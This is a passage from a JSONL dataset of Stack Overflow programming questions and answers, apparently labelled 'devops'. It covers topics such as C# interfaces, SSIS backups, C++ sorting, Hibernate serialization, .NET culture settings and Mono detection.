/// \n    /// </summary>\n    IEnumerable<IFoo> Values { get; }\n}\n\nclass IStuff : Dictionary<string, IFoo>, MyDictionary\n{\n    #region MyDictionary Members\n\n    //Note the new keyword.\n    public new ICollection<string> Keys\n    {\n        get { throw new NotImplementedException(); }\n    }\n\n    public new IEnumerable<IFoo> Values\n    {\n        get { throw new NotImplementedException(); }\n    }\n\n    #endregion\n}\n```\n```\nI would still recommend implementing IDictionary though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.091269"}
{"id": "hf_7b978560ead9", "question": "<p>I have a hosting account with servergrid.com. I want to backup my database, they say I have to use Sql Server Integration Service to backup the database and I would need a commercial version of Sql Server management studio. </p>\n\n<p>I have Sql Server 2005 Developer Edition. I have no idea how to do SSIS backup. I tried playing around with the Sql Server Integration Services Project in VS2005 .. but I failed.</p>\n\n<p>Google also seems to have no step-by-step guide for Non-DBA's like me.</p>\n\n<p>Can anybody point me to/write me a Step-by-Step instructions on how to backup database using SSIS? and also if possible how to restore the database again to the host</p>\n", "question_body": "", "answer": "SSIS is not really a database backup tool.\nIf you have a fixed number of tables, you can\nexport\nthe data from SQL Server to comma-separated or raw files - i.e. do the data export using SSIS. It is easy to create such package using SSIS project if you have small number of tables. But if you have a lot of tables it is all manual process. Also it could be hard to automate this - every time you add/remove/change a table or a column, you have to regenerate the SSIS package used to export your data.\nSSIS does only data export, so you need a separate tool to do metadata backup (table and stored proc definitions). You can export the metadata using Management Studio (simply script database to text file).\nOne can call these two tools together a poor man backup tool, but if you metadata changes often you'll probably want to use the real SQL backup tool. Not sure why the hosting guys say you have to use SSIS - maybe they don't want to give you backup permissions to ensure DB safety, but SSIS is not the simplest way to do database backup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.116362"}
{"id": "hf_5461b8208707", "question": "<p>The <code>curses.ascii</code> module has some nice functions defined, that allow for example to recognize which characters are printable (<code>curses.ascii.isprint(ch)</code>).</p>\n\n<p>But, diffrent character codes can be printable depending on which locale setting is being used. For example, there are certain polish characters:</p>\n\n<pre><code>&gt;&gt;&gt; ord('a')\n97\n&gt;&gt;&gt; ord('ą')\n177\n&gt;&gt;&gt; \n</code></pre>\n\n<p>I'm wondering, is there a better way to tell if a number represents printable character then the one used in <code>curses.ascii</code> module:</p>\n\n<pre><code>def isprint(c): return _ctoi(c) &gt;= 32 and _ctoi(c) &lt;= 126\n</code></pre>\n\n<p>which is kind of locale-unfriendly.</p>\n", "question_body": "", "answer": "If you convert the character to a unicode then you can use unicodedata:\n```\n```\n>>> unicodedata.category(u'ą')[0] in 'LNPS'\nTrue\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.153441"}
{"id": "hf_1256c5a6d389", "question": "<p>If I've got a variable that contains the fully-qualified name of a file (for example, a project file), should it be called <code>projectFile</code>, <code>projectFileName</code> or <code>projectPath</code>? Or something else?</p>\n", "question_body": "", "answer": "I usually go with these:\n```\nFileName\n```\nfor the file name only (without path)\n```\nFilePath\n```\nfor the parent path only (without the file name)\n```\nFileFullName\n```\nfor the fully qualified name with path\nI don't think there is such a thing as an accepted standard for this. I depends on your (team's) preferences and whether you need to differentiate between the three in a given situation.\nEDIT: My thoughts on these particular naming conventions are these:\nintuitively, a \"Name\" is a string, so is a \"Path\" (and a \"FileName\")\na \"Name\" is relative unless it is a \"FullName\"\nrelated variable names should begin with the same prefix (\"File\" + ...), I think this improves readability\nconcretions/properties are right-branching: \"File\" -> \"FileName\"\nspecializations are left-branching: \"FileName\" -> \"ProjectFileName\" (or \"ProjectFileFullName\")\na \"File\" is an object/handle representing a physical object, so \"ProjectFile\" cannot be a string\nI cannot always stick to these conventions, but I try to. If I decided to use a particular naming pattern I am consistent even if it means that I have to write more descriptive (= longer) variable names. Code is more often read than written, so the little extra typing doesn't bother me too much.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.189966"}
{"id": "hf_4e1359345dda", "question": "<p>what is the value of using IDictionary here?</p>\n", "question_body": "", "answer": "The value of using an interface is always the same: you don't have to change client code when switching to another backend implementation.\nConsider that profiling your code later shows that a hash table implementation (used in the\n```\nDictionary\n```\nclass) isn't suited for your task and that a binary search tree would perform better. If you've coded to an interface then switching the implementation is straightforward. If, however, you've used a concrete class, you've got to change a lot more code in a lot more places. => This costs time and money.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.237015"}
{"id": "hf_869e503d0642", "question": "<p>I've been facing this issue where, the hibernate objects on serialization produces unexpect xmls containing all the instrumented code from Hibernate.</p>\n\n<p>We did some cleaning of the object before serializing the object.</p>\n\n<p>But, is there a standard option available to serialize the object directly?</p>\n", "question_body": "", "answer": "I've not used XStream before, but I have serialized Hibernate-managed entities. It isn't fun.\nThere are two big issues:\nLazy loading;\nOne-to-many relationships.\nThe former is obvious - you need the actual data to serialize. The latter is less so - any one-to-many relationships you declare against collection interfaces (eg:\n```\nSet<T>\n```\n) will get plugged by Hibernate's own (unserializable!) collection implementations. This may well be where Hibernate's classes are bleeding into your objects.\nI ended up writing reflective code (actually introspective) that did this:\nWith the session open, touched the entire object graph to force-load any unloaded entities;\nClosed the Hibernate session (including any transactions involving its connection);\nWalked the object graph, replacing any lists, sets or maps with instances of ArrayList, HashSet or HashMap (known-serializable collections).\nNote that step 2 is important - if you replace the collections prior to closing the session, Hibernate will just put its own collections right back upon close...\nEdit:\n@cliff.meyers spotted a detail of the implementation I forgot to mention: if you do this, you need to limit object graph walking only to your own entities, and watch for circular reference paths (eg: by caching references to objects you've already walked).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.261437"}
{"id": "hf_71eef63d8b83", "question": "<p>With a class in Python, how do I define a function to print every single instance of the class in a format defined in the function?</p>\n", "question_body": "", "answer": "Same as almost all other OO languages, keep all instances of the class in a collection of some kind.\nYou can try this kind of thing.\n```\n```\nclass MyClassFactory( object ):\n    theWholeList= []\n    def __call__( self, *args, **kw ):\n         x= MyClass( *args, **kw )\n         self.theWholeList.append( x )\n         return x\n```\n```\nNow you can do this.\n```\n```\nobject= MyClassFactory( args, ... )\nprint MyClassFactory.theWholeList\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.311693"}
{"id": "hf_f49c69234c0f", "question": "<p>How to run NAnt scripts in command line and get the timings of each task on the log file?</p>\n\n<pre><code>using nant &lt;record&gt; task or \nNAnt -buildfile:testscript.build testnanttarget\n</code></pre>\n\n<p>This produces console output but I can't see any timing information.</p>\n\n<p>All I want each log message prefixed with datatime.</p>\n", "question_body": "", "answer": "You can use the\ntstamp task\nto display the current date/time. Just include it everywhere where you want timing information. It will not prefix each line with a timestamp, but at least you can time some strategic points.\n```\n```\n<tstamp />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.336100"}
{"id": "hf_caee066a8731", "question": "<p>I'm looking for ideas on how to implement audit trails for my objects in C#, for the current project,basically I need to:</p>\n<ol>\n<li>Store the old values and new values of a given object.</li>\n<li>Record creation of new objects.</li>\n<li>Deletion of old object.</li>\n</ol>\n<p>Is there any generic way of doing this,like using C# Generics,so that I don't have to write code for events of the base object like on creation,on deletion etc.(ORM objects).The thing is that if there was a way to inject audit trail if one is using a .Anybody have any experiences or any methods they follow.Any way to do this in a Aspect-oriented (AOP) mannner.</p>\n<p>Please share your ideas etc.</p>\n", "question_body": "", "answer": "Question is pretty similar to\nHow do you implement audit trail for your objects (Programming)?\nWe've implemented a similar solution, using AOP (aspectJ implementation). Using this particular points can be captured and specific operations can be performed.\nThis can be plugged in and plugged off when we like.\nHowever, our implementation was in J2EE..\nIf you really want to do it in the app layer, i would suggest this.\nHope it helps..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.360067"}
{"id": "hf_351ac8aa483f", "question": "<p>How do i check in C++ if a file is a regular file (and is not a directory, a pipe, etc.)? I need a function isFile(). </p>\n\n<pre><code>DIR *dp;\nstruct dirent *dirp;\n\nwhile ((dirp = readdir(dp)) != NULL) {\nif ( isFile(dirp)) {\n     cout &lt;&lt; \"IS A FILE!\" &lt;&lt; endl;\ni++;\n}\n</code></pre>\n\n<p>I've tried comparing dirp->d_type with (unsigned char)0x8, but it seems not portable through differents systems. </p>\n", "question_body": "", "answer": "You need to call stat(2) on the file, and then use the S_ISREG macro on st_mode.\nSomething like (adapted from\nthis answer\n):\n```\n```\n#include <sys/stat.h>\n\nstruct stat sb;\n\nif (stat(pathname, &sb) == 0 && S_ISREG(sb.st_mode))\n{\n    // file exists and it's a regular file\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.474466"}
{"id": "hf_7fa3566daf1b", "question": "<p>On researching another question I noted that the <code>stat</code> function in Perl can take a dirhandle as its argument (instead of a filehandle or filename).</p>\n\n<p>However I can't find any examples of correct use of this - there are none in the Perl manual.</p>\n\n<p>Can anyone show an example of how to use it?</p>\n", "question_body": "", "answer": "You use it just like you would\n```\nstat\n```\non a filehandle:\n```\n```\n<~> $ mkdir -v foo ; perl -e 'opendir($dh , \"./foo\"); @s = stat $dh; print \"@s\"'\nmkdir: created directory `foo'\n2049 11681802 16877 2 1001 1001 0 4096 1228059876 1228059876 1228059876 4096 8\n```\n```\n(Personally, I like using\n```\nFile::stat\n```\nto get nice named accessors, so that I don't have to remember (or lookup) that the fifth element is the UID...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.498046"}
{"id": "hf_68b41ecef5bc", "question": "<p>There's a lot of conflicting information about this topic. So let's try to agree on a definitive answer:</p>\n\n<p>Which one of these random number generator in C create better randomness: rand, random or arc4random?</p>\n\n<p>note: Just to make the question clear, this is not a question about true randomness, it's only a clash between those 3.</p>\n\n<hr>\n\n<p>As pointed out, this question doesn't make much sense, as this is not about C, but about a specific implementation, in my case, cocoa (more specifically the iphone sdk, but my guess is they are the same as far as these functions go). Still, there's some useful information here. I concluded by implementing arc4random, mostly because of its ease of use (no seeding needed), which is an important factor that no one pointed out.</p>\n\n<p>I'm closing the question, and adding the cocoa tag for cocoa developers looking for information on RNGs. Many thanks for those who contributed, and sorry for the confusion.</p>\n", "question_body": "", "answer": "The implementation of rand() is not specified by the C standard, however most compilers use a linear congruential generator. random() and arc4random() aren't standard C either, but they are better than the usual implementation of rand()\nI'd say: arc4random() is better than random() is better than rand()\nrand() is really terrible. You could easily do better than all three however.\nIt also depends what you want the random numbers for. A good random number generator for encryption/security may not be a good random number generator for simulation and vice-versa.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.521240"}
{"id": "hf_73c381833fe2", "question": "<p>Thanks for a <a href=\"https://stackoverflow.com/questions/327893/how-to-write-a-compare-function-for-qsort-from-stdlib\">solution in C</a>,\nnow I would like to achieve this in C++ using std::sort and vector:</p>\n\n<pre><code>typedef struct\n{\n  double x;\n  double y;\n  double alfa;\n} pkt;\n</code></pre>\n\n<p><code>vector&lt; pkt &gt; wektor;</code> filled up using push_back(); compare function:</p>\n\n<pre><code>int porownaj(const void *p_a, const void *p_b)\n{\n  pkt *pkt_a = (pkt *) p_a;\n  pkt *pkt_b = (pkt *) p_b;\n\n  if (pkt_a-&gt;alfa &gt; pkt_b-&gt;alfa) return 1;\n  if (pkt_a-&gt;alfa &lt; pkt_b-&gt;alfa) return -1;\n\n  if (pkt_a-&gt;x &gt; pkt_b-&gt;x) return 1;\n  if (pkt_a-&gt;x &lt; pkt_b-&gt;x) return -1;\n\n  return 0;\n}\n\nsort(wektor.begin(), wektor.end(), porownaj); // this makes loads of errors on compile time\n</code></pre>\n\n<p>What is to correct? How to use properly std::sort in that case?</p>\n", "question_body": "", "answer": "```\nstd::sort\n```\ntakes a different compare function from that used in\n```\nqsort\n```\n. Instead of returning –1, 0 or 1, this function is expected to return a\n```\nbool\n```\nvalue indicating whether the first element is less than the second.\nYou have two possibilites: implement\n```\noperator <\n```\nfor your objects; in that case, the default\n```\nsort\n```\ninvocation without a third argument will work; or you can rewrite your above function to accomplish the same thing.\nNotice that you have to use strong typing in the arguments.\nAdditionally, it's good not to use a function here at all. Instead, use a function object. These benefit from inlining.\n```\n```\nstruct pkt_less {\n    bool operator ()(pkt const& a, pkt const& b) const {\n        if (a.alfa < b.alfa) return true;\n        if (a.alfa > b.alfa) return false;\n\n        if (a.x < b.x) return true;\n        if (a.x > b.x) return false;\n\n        return false;\n    }\n};\n\n// Usage:\n\nsort(wektor.begin(), wektor.end(), pkt_less());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.544678"}
{"id": "hf_b61de7d5b8b4", "question": "<p>All,</p>\n\n<p>I'd like to check Django out and maybe hack together some web pages to see how it feels - but after having a look at a few tutorials like <a href=\"http://www.showmedo.com/videos/video?name=stoops010\" rel=\"nofollow noreferrer\">this one</a> I am starting to wonder if there is any way of getting it up and runinng without typying cmd line stuff for 1/2 hour.</p>\n\n<p>Can people point out some good straightforward resources/tutorials to get the thing up and running?  </p>\n\n<p>I plan doing this on Windows environment.</p>\n", "question_body": "", "answer": "It doesn't take half an hour, nor should you think that development is mostly about writing code. There is always going to setup work and such involved. That being said, I understand your plight. You might have luck finding a project that interests you and already exists. Simply checking out their latest revision should let you run it, poke around locally, and if you make some actual progress with the code you can contribute it instead of going to waste in the name of just messing around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.568811"}
{"id": "hf_a55c06d370f5", "question": "<p>Is there any lib that convert very long numbers to string just copying the data?</p>\n\n<p>These one-liners are too slow:</p>\n\n<pre><code>def xlong(s):\n    return sum([ord(c) &lt;&lt; e*8 for e,c in enumerate(s)])\n\ndef xstr(x):\n    return chr(x&amp;255) + xstr(x &gt;&gt; 8) if x else ''\n\nprint xlong('abcd'*1024) % 666\nprint xstr(13**666)\n</code></pre>\n", "question_body": "", "answer": "You want the struct module.\n```\n```\npacked = struct.pack('l', 123456)\nassert struct.unpack('l', packed)[0] == 123456\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.605198"}
{"id": "hf_868af59c4171", "question": "<p>The title basically spells it out. What interfaces have you written that makes you proud and you use a lot. I guess the guys that wrote <code>IEnumerable&lt;T&gt;</code> and not least <code>IQueryable&lt;T&gt;</code> had a good feeling after creating those.</p>\n", "question_body": "", "answer": "I guess the guys that wrote IEnumerable … had a good feeling after creating [it].\nI'm not so sure.\n```\nIEnumerable\n```\nwas quite a failure, as interfaces go. This is evident from the fact that\n```\nIEnumerable<T>\n```\n, its generic counterpart, actually offers a completely\ndifferent\ninterface. (Well, “different” isn't a good word; basically, it adds disposability and de-emphasizes the completely useless\n```\nReset\n```\nmethod; however, this method is of course still present.)\nAdditionally, similar languages that have similar constructs (Java comes to mind) have a much better, more extensible construct to fulfill the same needs (and more). For example, Java's iterators can be extended to be bidirectional or to allow modifying access (whereas\n```\nIEnumerable\n```\nis always read-only).\nEDIT:\nSince there's so much controversy in the comments, let me clarify. I'm not saying that\n```\nIEnumerable\n```\n(or\n```\nIEnumerator\n```\n) are\nbad\ninterfaces. They're adequate. However, they could have been made better. If nothing else, then at least the\n```\nReset\n```\nmethod seems like clutter.\nTerjet said that he “use[s] it all the time” – which is precisely my point!\n```\nIEnumerable\n```\nis a pivotal interface of the whole .NET framework. It's ubiquitous. There'd be no .NET without it. Is it therefore too much to ask for a\nperfect\ninterface?\n“Adequate” is just another word for failure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.678316"}
{"id": "hf_3a38fa2d7a4b", "question": "<p>When trying to serialize a type (a generic <code>List&lt;T&gt;</code> which T is a class marked with XmlRootAttribute) into XML using <code>XmlSerializer</code>, a <code>FileNotFoundException</code> is thrown (sometimes) and serialization fails.</p>\n\n<p>It seems that <code>XmlSerializer</code> tries to create a temporary file with a random file name in the Temp folder of user under which the application is running, but the file gets deleted somehow.</p>\n\n<p>Anyone seen this? Any workarounds?</p>\n", "question_body": "", "answer": "XmlSerializer works by generating\ncode\nto do the serialization/deserialization, and storing this in a temporary assembly.  (This approach gives good performance for repeated serialization/deserialization but (traditionally) shockingly awful performance for the first run)\nTo help mitigate the shocking performance, from VS2005 onwards (and earlier using less well known techniques), you can explicitly create the serialization assembly at build time and ship it with your main assembly.\nIf you\ndon't\ncreate/ship the serialization assembly, then the framework tends to throw an exception when it's looking for it, though normally it catches the exception, builds the assembly on the fly, and gets on with things.  If you're running under a debugger, with 'break-on-throw' set though, it can be a bit alarming to have the FileNotFound exception being thrown deep in the bowels of the framework.\nAre you\nsure\nthat the FileNotFound exception is directly associated with the serialization failure you're seeing?  Have you tried including the serialization assembly explicitly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.703002"}
{"id": "hf_6b9b47ccbc08", "question": "<p>In .NET there is the <code>CultureInfo</code> class in the <code>System.Globalization</code> namespace. It has two similar properties both returning values of the <code>CultureInfo</code> type: <code>CurrentCulture</code> and <code>CurrentUICulture</code>.</p>\n\n<p>What is the difference between them? </p>\n\n<p>Which one should I use when and why?</p>\n", "question_body": "", "answer": "```\nCurrentCulture\n```\nis the .NET representation of the default user locale of the system. This controls default number and date formatting and the like.\n```\nCurrentUICulture\n```\nrefers to the default user interface language, a setting introduced in Windows 2000. This is primarily regarding the UI localization/translation part of your app.\nWhatever regional options the system is configured to have will be the \"Current\" values in your .NET app.\nOften times they are both the same. But on my system they would be different: I prefer my numbers and dates in the German format, so the\n```\nCurrentCulture\n```\nwould be German, but I also prefer all my applications in English, so the\n```\nCurrentUICulture\n```\nwould be English.\nThere is a nice article on the topic:\nSorting it all Out: Why we have both CurrentCulture and CurrentUICulture", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.730598"}
{"id": "hf_94946fcb48b0", "question": "<p>What are the best ways of developing a subscription type website that provides lesson content (like Lynda.com)?</p>\n\n<p>How do you protect the content from download (audio and video)?</p>\n\n<p>What's the best way to handle passwords?\nCan the user have a login name and password, and then also have an additional password that changes on a regular basis and is distributed by the site to reduce people using other people's passwords?</p>\n\n<p>How do you minimize people sharing their passwords with other people?</p>\n", "question_body": "", "answer": "Protecting content is pretty easy: simply write a page which has access to the user's session / security details and check to see if they are authorized to download the file that was requested.  You could do this easily with a Java Servlet or any other web platform like ASP.NET, PHP, etc.\nI would recommend against this technique of multiple passwords.  It's going to be a hassle for your customers.  It also creates the perception that you assume your customers are trying to cheat the system.  What I would do instead is log all users logins as well as user accesses for a particular file and also log the IP addresses.  You can write some code to analyze this data and look for concurrent logins from different IPs.  You could also write code to prevent multiple logins as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.754701"}
{"id": "hf_64eb67e98ce8", "question": "<p>I need a conditional compilation switch that knows if I am compiling for the mono or MS .NET runtime. How can I do this? </p>\n", "question_body": "", "answer": "The Mono compiler defines\n```\n__MonoCS__\n```\nBUT, BUT, BUT\n, the whole point of Mono is that you can take an assembly that you built with VS and run it on Mono, or vice versa.\nIt seems to me that if you need to have Mono vs MS.NET differences, then you need to be making those decisions at run-time.\nThe standard way to detect Mono at Runtime is:\n```\n```\nbool runningOnMono = Type.GetType (\"Mono.Runtime\") != null;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.791564"}
{"id": "hf_5ba5c66420a0", "question": "<p>I'm using the following as a way of seeing listing the various methods in my developement</p>\n\n<pre><code>print basename(__FILE__) . \"::serve_table()\"\n</code></pre>\n\n<p>is there any function that's able to return the name of a class method so I don't have to trpe it each time?</p>\n", "question_body": "", "answer": "Use\n```\n__FUNCTION__\n```\nand\n```\n__LINE__\n```\nand\n```\n__CLASS__\n```\nand\n```\n__METHOD__\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.816097"}
{"id": "hf_66c2cdbefaa4", "question": "<p>What are the tensions between multithreading and exception-safety in C++? Are there good guidelines to follow? Does a thread terminate because of an uncaught exception?</p>\n", "question_body": "", "answer": "I believe the C++ standard does not make any mention of multithreading - multithreading is a platform-specific feature.\nI'm not exactly sure what the C++ standard says about uncaught exceptions in general, but according to\nthis page\n, what happens is platform-defined, and you should find out in your compiler's documentation.\nIn a quick-and-dirty test I did with g++ 4.0.1 (i686-apple-darwin8-g++-4.0.1 to be specific), the result is that\n```\nterminate()\n```\nis called, which kills the entire program.  The code I used follows:\n```\n```\n#include <stdio.h>\n#include <pthread.h>\n\nvoid *threadproc(void *x)\n{\n  throw 0;\n\n  return NULL;\n}\n\nint main(int argc, char **argv)\n{\n  pthread_t t;\n  pthread_create(&t, NULL, threadproc, NULL);\n\n  void *ret;\n  pthread_join(t, &ret);\n\n  printf(\"ret = 0x%08x\\n\", ret);\n\n  return 0;\n}\n```\n```\nCompiled with\n```\ng++ threadtest.cc -lpthread -o threadtest\n```\n.  Output was:\n```\n```\nterminate called after throwing an instance of 'int'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.884233"}
{"id": "hf_dabb885a7dbb", "question": "<p>For example so that it works like this\ntoString (Var x)= \"x\"</p>\n", "question_body": "", "answer": "Use the\n```\nshow\n```\nfunction:\n```\n```\nputStrLn (show x)\n```\n```\nwill print out the \"x\" variable. (Naturally, you don't need to use it with\n```\nputStrLn\n```\n, either --\n```\nshow\n```\nreturns a string that can be used anywhere like a string.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.909005"}
{"id": "hf_ab1e6fea1d52", "question": "<p>Am looking for checkpointing library for C#. Any ideas ?</p>\n\n<p>see  <a href=\"http://en.wikipedia.org/wiki/Application_checkpointing\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Application_checkpointing</a></p>\n", "question_body": "", "answer": "If I understand you correctly (and the question is pretty vague so I'm not sure of this at all) then Windows Workflow Foundation certainly has this capability.  However, it's almost certainly overkill for what you're asking.\nOkay, you added a link that better explains what you mean by checkpointing.\nWith that in mind, .Net doesn't have anything built in to support this directly.  However, anything that uses a state machine where the state machine can be persisted, can be  inspected/validated, and is transactional has this sort of thing naturally built-in.  WWF is one example of that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.945985"}
{"id": "hf_2df5a1da9023", "question": "<p>I defined a Controller to force authentication by using the [Authorize] attribute. When a session times out, the request is still passed down and executed instead of forcing a redirect.</p>\n\n<p>I do use FormsAuthentication to login and logoff users.</p>\n\n<p>Any ideas on how to control that?</p>\n\n<p>Example: </p>\n\n<pre><code>[Authorize]\npublic class ProjectsController : Controller\n{\n    public ActionResult Index()\n    {\n        return View();\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "To track user sessions ASP.NET uses the\nASP.NET_SessionId\ncookie. To track authenticated users ASP.NET uses the\nASPXAUTH\ncookie (by default).\nWhen a session times out the\nASP.NET_SessionId\ncookie might no longer be sent by the client but the\nASPXAUTH\ncookie is still sent which might explain why your action is rendered.\nTo override default forms authentication values you might take a look\nhere\n. I also suggest you to use the\nfirebug\nextension to see exactly which cookies are sent by the client.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.971235"}
{"id": "hf_348e2a92bb2a", "question": "<p>Sup bros,</p>\n\n<p>Is there anything out there for C++ which displays the class hierarchies as a tree on the left panel?  I've been using VisualWorks Smalltalk for a while, and the way that classes are displayed, and methods broken out, makes it very easy to build a mental picture of what the class does.  Sadly, I can't find anything similar for C++.  Does Eclipse perhaps have such a mode?</p>\n\n<p>Thanks,\nfrapple_hok</p>\n", "question_body": "", "answer": "Caveat emptor:\nI've never used this tool myself.  (Though perhaps I'll start...)\nFrom long experience I've learned that I can put\n\"emacs\"\n+\nanything\ninto\ngoogle\nand find it.  (Literally anything!  Some people have waayyy too much free time on their hands...)\nIn this case,\n\"emacs class browser\"\nturns up\nEBROWSE,\nwhich might be what you are looking for.\nIn terms of a \"left panel\", emacs supports splitting a single window up vertically (split-window-vertically) or horizontally (split-window-horizontally) however you like.  Or using multiple windows if you prefer (make-frame-command).\nIn terms of more typical IDE features, emacs supports font-locking (colorizing), make integration (jump to error), gdb integration (debugging), language-based auto-indent, TAGS [etags] (jump to tag definition), diff'ing two files (or file against revision), checkin/checkout to/from source code revision systems, spell-checking, etc.  (I'm sure other stackoverflow entries have highlighted emacs's many features.  Or try\nslashdot.\nDefinitely check out the\n\"complete\"\nfunction!\n(require 'completion)\nAnd perhaps\n\"align-regexp\"\ntoo!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:02.995948"}
